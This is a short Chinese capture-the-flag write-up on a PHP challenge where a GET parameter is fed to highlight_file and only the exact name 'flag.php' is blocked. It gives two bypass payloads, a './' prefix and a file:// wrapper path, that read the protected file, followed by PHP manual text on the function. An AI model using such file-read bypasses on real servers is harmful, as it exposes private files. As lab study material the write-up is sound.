ApachePHP/5.4.45php伪协议

0x01 源码

  1. <?php
  2. highlight_file(__FILE__);
  3. if(isset($_GET['u'])){
  4. if($_GET['u']=='flag.php'){
  5. die("no no no");
  6. }else{
  7. highlight_file($_GET['u']);
  8. }
  9. }

读取文件,参数不等于flag.php,可以加个./
还可以用php伪协议

0x02 Payload

  1. ?u=./flag.php
  2. ?u=file:///var/www/html/flag.php

https://segmentfault.com/a/1190000018991087

0x03 PHP函数

1. highlight_file

highlight_file — 语法高亮一个文件

  1. highlight_file ( string $filename [, bool $return = false ] ) : mixed

使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。
许多服务器配置了自动高亮 phps 扩展的文件。 比如,访问 example.phps 会显示语法高亮后的文件。 添加以下一行代码到 httpd.conf 使此生效:

  1. AddType application/x-httpd-php-source .phps

参数

filename
欲高亮文件的路径。
return
设置该参数为 **TRUE** 使函数返回高亮后的代码。

返回值

如果 return 设置为 **TRUE**,高亮后的代码不会被打印输出,而是以字符串的形式返回。 高亮成功返回 **TRUE**,否则返回 **FALSE**